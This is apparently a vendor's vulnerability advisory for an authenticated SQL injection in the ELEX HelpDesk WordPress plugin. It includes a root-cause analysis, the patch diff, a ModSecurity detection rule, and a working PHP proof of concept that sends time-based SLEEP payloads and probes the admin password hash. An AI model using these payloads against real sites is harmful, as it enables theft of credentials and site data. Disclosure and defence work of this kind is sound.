Published : June 21, 2026

CVE-2026-48964: ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.6 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.3.6
Patched Version 3.3.7
Disclosed June 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-48964:
This vulnerability is an authenticated SQL injection in the ELEX WordPress HelpDesk & Customer Ticketing System plugin up to version 3.3.6. It allows authenticated attackers with subscriber-level access or higher to inject malicious SQL queries. The CVSS score is 6.5 (Medium).

The root cause lies in the `Sorter.php` file within the plugin. The `sort.dir` parameter from the AJAX request is passed directly to the `orderBy()` method without sanitization. In the vulnerable code, the `Arr::get( $filters, ‘sort.dir’, ‘asc’ )` value is used directly in the `orderBy()` call. The `wpFluent` query builder (in `BaseAdapter.php`) does not validate the direction argument. The `BaseAdapter.php` file’s `compileOrderBy()` method wraps the field name but blindly passes the `$orderBy[‘type’]` value into the SQL query. This allows an attacker to supply SQL injection payloads like “asc, (SELECT sleep(5))” as the sort direction. The fix in version 3.3.7 checks that the direction value is exactly ‘asc’ or ‘desc’ in `Sorter.php` and validates the direction in `BaseAdapter.php`.

An attacker with subscriber-level access can exploit this by sending a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `eh_crm_v2_get_tickets` or `eh_crm_v2_get_archive_tickets` (these functions are now protected by nonce checks in 3.3.7 but were unprotected prior). The vulnerable parameter is `sort[dir]` which is sent as part of the request data. The attacker can inject SQL commands like: `sort[dir]=ASC, (SELECT IF(1=1,SLEEP(5),’a’))`. This bypasses the intended sorting direction validation and injects arbitrary SQL. The injection occurs because the `orderBy()` clause in `BaseAdapter.php` concatenates the raw `$orderBy[‘type’]` value.

The patch addresses the vulnerability in three key locations. First, `Sorter.php` now converts the direction to lowercase and validates it against a whitelist of ‘asc’ and ‘desc’. Second, `BaseAdapter.php` now normalizes the direction string by converting it to uppercase and only allowing ‘DESC’ or ‘ASC’. Third, the patch adds nonce verification and capability checks to the vulnerable AJAX handlers (`eh_crm_v2_get_tickets`, `eh_crm_v2_get_archive_tickets`, `eh_crm_v2_get_tickets_count`). These changes prevent both the SQL injection and unauthorized access.

Successful exploitation allows an attacker to extract sensitive data from the WordPress database, including usernames, password hashes, and any custom data stored by the plugin. The attacker can use time-based blind SQL injection to exfiltrate data. This leads to complete compromise of the site’s data. Privilege escalation is possible if admin session tokens or user meta can be extracted.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/elex-helpdesk-customer-support-ticket-system/elex-helpdesk-customer-support-ticket-system.php
+++ b/elex-helpdesk-customer-support-ticket-system/elex-helpdesk-customer-support-ticket-system.php
@@ -3,7 +3,7 @@
  * Plugin Name: ELEX HelpDesk & Customer Support Ticket System
  * Plugin URI: https://elextensions.com/plugin/wsdesk-wordpress-helpdesk-plugin-free-version/
  * Description: Enhances your customer service and enables efficient handling of customer issues.
- * Version: 3.3.6
+ * Version: 3.3.7
  * Author: ELEXtensions
  * Author URI: https://elextensions.com/
  * Text Domain: wsdesk
--- a/elex-helpdesk-customer-support-ticket-system/includes/Tickets/Filters/Sorter.php
+++ b/elex-helpdesk-customer-support-ticket-system/includes/Tickets/Filters/Sorter.php
@@ -30,7 +30,11 @@
 			$column = wpFluent()->raw( 'STR_TO_DATE(`ticket_date`, '%%b %%d, %%Y %%r')' );
 		}

-		$query->orderBy( $column, Arr::get( $filters, 'sort.dir', 'asc' ) );
+		$dir = strtolower( Arr::get( $filters, 'sort.dir', 'asc' ) );
+		if ( ! in_array( $dir, [ 'asc', 'desc' ] ) ) {
+			$dir = 'asc';
+		}
+		$query->orderBy( $column, $dir );

 		return $query;
 	}
--- a/elex-helpdesk-customer-support-ticket-system/includes/class-crm-ajax-functions-one.php
+++ b/elex-helpdesk-customer-support-ticket-system/includes/class-crm-ajax-functions-one.php
@@ -2335,10 +2335,13 @@
 					wp_send_json_error( array( 'message' => 'Invalid role specified.' ), 400 );
 					return;
 			}
+			$current_user = wp_get_current_user();
+			$user_roles   = (array) $current_user->roles;
+
 			if ( ! in_array( 'administrator', $user_roles, true ) && 'administrator' === $role ) {
 				wp_send_json_error( array( 'message' => 'Unauthorized User.' ), 403 );
 			}
-			if ( ! in_array( 'administrator', $user_roles, true ) && ! in_array( 'supervisor', $user_roles, true ) ) {
+			if ( ! in_array( 'administrator', $user_roles, true ) && ! in_array( 'WSDesk_Supervisor', $user_roles, true ) ) {
 				wp_send_json_error( array( 'message' => 'Unauthorized User.' ), 403 );
 			}
 			$rights      = explode( ',', isset( $_POST['rights'] ) ? sanitize_text_field( $_POST['rights'] ) : '' );
--- a/elex-helpdesk-customer-support-ticket-system/includes/class-crm-ajax-functions-two.php
+++ b/elex-helpdesk-customer-support-ticket-system/includes/class-crm-ajax-functions-two.php
@@ -1871,7 +1871,12 @@
 								if ('woo_order_id' == $value['slug']) {
 									array_push($new_row, $current_meta[$value['slug']]);
 								} else {
-									array_push($new_row, $field_meta['field_values'][$current_meta[$value['slug']]]);
+									$meta_key = $current_meta[$value['slug']];
+									if (isset($field_meta['field_values'][$meta_key])) {
+										array_push($new_row, $field_meta['field_values'][$meta_key]);
+									} else {
+										array_push($new_row, ($meta_key === '-' || $meta_key === '') ? '' : $meta_key);
+									}
 								}
 								break;
 							case 'radio':
@@ -1879,12 +1884,24 @@
 							case 'woo_category':
 							case 'woo_tags':
 							case 'woo_vendors':
-								array_push($new_row, $field_meta['field_values'][$current_meta[$value['slug']]]);
+								$meta_key = $current_meta[$value['slug']];
+								if (isset($field_meta['field_values'][$meta_key])) {
+									array_push($new_row, $field_meta['field_values'][$meta_key]);
+								} else {
+									array_push($new_row, ($meta_key === '-' || $meta_key === '') ? '' : $meta_key);
+								}
 								break;
 							case 'checkbox':
 								$checkbox_values = array();
-								foreach ($current_meta[$value['slug']] as $a) {
-									array_push($checkbox_values, $field_meta['field_values'][$a]);
+								$meta_vals = $current_meta[$value['slug']];
+								if (is_array($meta_vals)) {
+									foreach ($meta_vals as $a) {
+										if (isset($field_meta['field_values'][$a])) {
+											array_push($checkbox_values, $field_meta['field_values'][$a]);
+										} else {
+											array_push($checkbox_values, ($a === '-' || $a === '') ? '' : $a);
+										}
+									}
 								}
 								array_push($new_row, implode(', ', $checkbox_values));
 								break;
@@ -1895,7 +1912,14 @@
 			}
 			fclose($file);
 			$read_stream = fopen($filename, 'r');
-			fpassthru($read_stream);
+			if ( $read_stream ) {
+				while ( ! feof( $read_stream ) ) {
+					echo fread( $read_stream, 8192 );
+					@ob_flush();
+					@flush();
+				}
+				fclose( $read_stream );
+			}
 			wp_delete_file($filename);

 			die();
--- a/elex-helpdesk-customer-support-ticket-system/includes/class-crm-ajax-functions.php
+++ b/elex-helpdesk-customer-support-ticket-system/includes/class-crm-ajax-functions.php
@@ -2595,6 +2595,17 @@
 	}

 	public static function eh_crm_v2_get_tickets() {
+		$nonce_check = check_ajax_referer( 'wsdesk_nonce', 'nonce', false );
+		$cap_check = ( current_user_can( 'crm_role' ) || current_user_can( 'manage_options' ) );
+		if ( ! $nonce_check || ! $cap_check ) {
+			wp_send_json( array(
+				'data'            => array(),
+				'recordsTotal'    => 0,
+				'recordsFiltered' => 0,
+				'error'           => __( 'Access Denied!', 'wsdesk' )
+			) );
+			return;
+		}
 		$repo                    = new WSDeskTicketsTicketRepository();
 		$data['data']            = $repo->get( $_REQUEST );
 		$data['recordsTotal']    = $repo->count();
@@ -2604,6 +2615,17 @@
 	}

 	public static function eh_crm_v2_get_archive_tickets() {
+		$nonce_check = check_ajax_referer( 'wsdesk_nonce', 'nonce', false );
+		$cap_check = ( current_user_can( 'crm_role' ) || current_user_can( 'manage_options' ) );
+		if ( ! $nonce_check || ! $cap_check ) {
+			wp_send_json( array(
+				'data'            => array(),
+				'recordsTotal'    => 0,
+				'recordsFiltered' => 0,
+				'error'           => __( 'Access Denied!', 'wsdesk' )
+			) );
+			return;
+		}
 		$repo = new WSDeskTicketsTicketArchiveRepository();

 		$data['data']            = $repo->get( $_REQUEST );
@@ -2615,6 +2637,17 @@
 	}

 	public static function eh_crm_v2_get_tickets_count() {
+		$nonce_check = check_ajax_referer( 'wsdesk_nonce', 'nonce', false );
+		$cap_check = ( current_user_can( 'crm_role' ) || current_user_can( 'manage_options' ) );
+		if ( ! $nonce_check || ! $cap_check ) {
+			wp_send_json( array(
+				'data'            => array(),
+				'recordsTotal'    => 0,
+				'recordsFiltered' => 0,
+				'error'           => __( 'Access Denied!', 'wsdesk' )
+			) );
+			return;
+		}
 		$repo                = new WSDeskTicketsTicketRepository();
 		$data['all_tickets'] = $repo->count();
 		$data['views']       = $repo->get_ticket_counts_by_active_views( $_REQUEST );
--- a/elex-helpdesk-customer-support-ticket-system/includes/class-crm-init-handler.php
+++ b/elex-helpdesk-customer-support-ticket-system/includes/class-crm-init-handler.php
@@ -373,6 +373,7 @@
 					array(
 						'url'              => EH_CRM_MAIN_URL,
 						'ticket_admin_url' => admin_url( 'admin.php?page=wsdesk_tickets' ),
+						'nonce'            => wp_create_nonce( 'wsdesk_nonce' ),
 					)
 				);
 				wp_enqueue_style( 'quill', EH_CRM_MAIN_CSS . 'quill.snow.css', array(), EH_CRM_VERSION );
@@ -388,6 +389,8 @@
 				wp_enqueue_style( 'jquery-ui' , EH_CRM_MAIN_CSS . 'jquery-ui.css', array(), EH_CRM_VERSION );
 				wp_enqueue_style( 'app_css', EH_CRM_MAIN_CSS . 'app.css' , array(), EH_CRM_VERSION );
 				wp_enqueue_script( 'app_scripts', EH_CRM_MAIN_JS . 'app.js', array(), EH_CRM_VERSION, true );
+				wp_localize_script( 'app_scripts', 'js_obj', $js_var );
+				wp_enqueue_script( 'crm_tickets_v2_source', EH_CRM_MAIN_JS . 'crm_tickets_v2.js', array( 'app_scripts' ), EH_CRM_VERSION, true );
 			}
 			if ( 'wsdesk_agents' === $page ) {
 				wp_enqueue_script( 'crm_agents', EH_CRM_MAIN_JS . 'crm_agents.js', array(), EH_CRM_VERSION );
@@ -438,6 +441,7 @@
 					array(
 						'url'              => EH_CRM_MAIN_URL,
 						'ticket_admin_url' => admin_url( 'admin.php?page=wsdesk_archive' ),
+						'nonce'            => wp_create_nonce( 'wsdesk_nonce' ),
 					)
 				);
 				wp_enqueue_style( 'quill', EH_CRM_MAIN_CSS . 'quill.snow.css' , array(), EH_CRM_VERSION );
@@ -453,6 +457,8 @@
 				wp_enqueue_style( 'jquery-ui' , EH_CRM_MAIN_CSS . 'jquery-ui.css', array(), EH_CRM_VERSION );
 				wp_enqueue_style( 'app_css', EH_CRM_MAIN_CSS . 'app.css', array(), EH_CRM_VERSION );
 				wp_enqueue_script( 'app_scripts', EH_CRM_MAIN_JS . 'app.js', array( 'jquery' ), EH_CRM_VERSION, true );
+				wp_localize_script( 'app_scripts', 'js_obj', $js_var );
+				wp_enqueue_script( 'crm_tickets_v2_source', EH_CRM_MAIN_JS . 'crm_tickets_v2.js', array( 'app_scripts' ), EH_CRM_VERSION, true );
 			}
 		}
 	}
--- a/elex-helpdesk-customer-support-ticket-system/includes/wp-fluent/src/QueryBuilder/Adapters/BaseAdapter.php
+++ b/elex-helpdesk-customer-support-ticket-system/includes/wp-fluent/src/QueryBuilder/Adapters/BaseAdapter.php
@@ -52,7 +52,8 @@
 		$orderBys = '';
 		if ( isset( $statements['orderBys'] ) && is_array( $statements['orderBys'] ) ) {
 			foreach ( $statements['orderBys'] as $orderBy ) {
-				$orderBys .= $this->wrapSanitizer( $orderBy['field'] ) . ' ' . $orderBy['type'] . ', ';
+				$direction = strtoupper( $orderBy['type'] ) === 'DESC' ? 'DESC' : 'ASC';
+				$orderBys .= $this->wrapSanitizer( $orderBy['field'] ) . ' ' . $direction . ', ';
 			}
 			$orderBys = trim( $orderBys, ', ' );
 			if ( $orderBys ) {
--- a/elex-helpdesk-customer-support-ticket-system/index.php
+++ b/elex-helpdesk-customer-support-ticket-system/index.php
@@ -1 +0,0 @@
-<?php //silence is golden
--- a/elex-helpdesk-customer-support-ticket-system/views/tickets/crm_tickets_v2_all.php
+++ b/elex-helpdesk-customer-support-ticket-system/views/tickets/crm_tickets_v2_all.php
@@ -486,6 +486,7 @@
 		jQuery('button.buttons-select-none').addClass('hidden')
 	});
 	jQuery('#all_tickets_table_v2').on('xhr.dt', function (e, settings, json) {
+		if (!json) return;

 		if (!dtFilter.view.views) {
 			var activeItem = jQuery('.side-bar-filter').find('li.active');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-48964
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-48964: SQL Injection via sort[dir] in ELEX HelpDesk',severity:'CRITICAL',tag:'CVE-2026-48964'"
    SecRule ARGS_POST:action "@rx ^eh_crm_v2_get_tickets|eh_crm_v2_get_archive_tickets|eh_crm_v2_get_tickets_count$" 
        "chain"
        SecRule ARGS_POST:sort.dir "@rx (?:bSELECTb|bDROPb|bUNIONb|bSLEEPb|bIFb|bBENCHMARKb|bORb.*=|bANDb.*=)" 
            "t:lowercase,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-48964 - ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.6 Authenticated (Subscriber+) SQL Injection

$target_url = 'http://example.com/wordpress'; // Change this to target URL
$username = 'subscriber_user'; // Subscriber-level credentials
$password = 'password123';

// Step 1: Authenticate with the WordPress site
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

// Step 2: Send the AJAX request with SQL injection in sort[dir]
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
    'action' => 'eh_crm_v2_get_tickets',
    'sort[dir]' => 'ASC, (SELECT IF(1=1,SLEEP(5),""))', // Time-based SQL injection test
    'nonce' => '' // In the vulnerable version, no nonce is required
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$start = microtime(true);
$response = curl_exec($ch);
$end = microtime(true);
$duration = $end - $start;

// Step 3: Interpret the result - if response takes ~5 seconds, injection works
if ($duration > 4.5) {
    echo "SQL Injection confirmed: Response took " . round($duration, 2) . " seconds.n";
    echo "The SLEEP(5) command was executed.n";
} else {
    echo "No noticeable delay. Injection may have failed or server blocking.n";
}

// Step 4: Extract data (example: extract admin password hash)
$extract_payload = 'ASC, (SELECT IF((SELECT LENGTH(user_pass) FROM wp_users WHERE user_login="admin")>0,SLEEP(3),""))';
$ajax_data['sort[dir]'] = $extract_payload;
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
$start = microtime(true);
$response = curl_exec($ch);
$end = microtime(true);

curl_close($ch);
echo "Blind SQL injection test complete. Use this technique with automation to extract data bit by bit.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School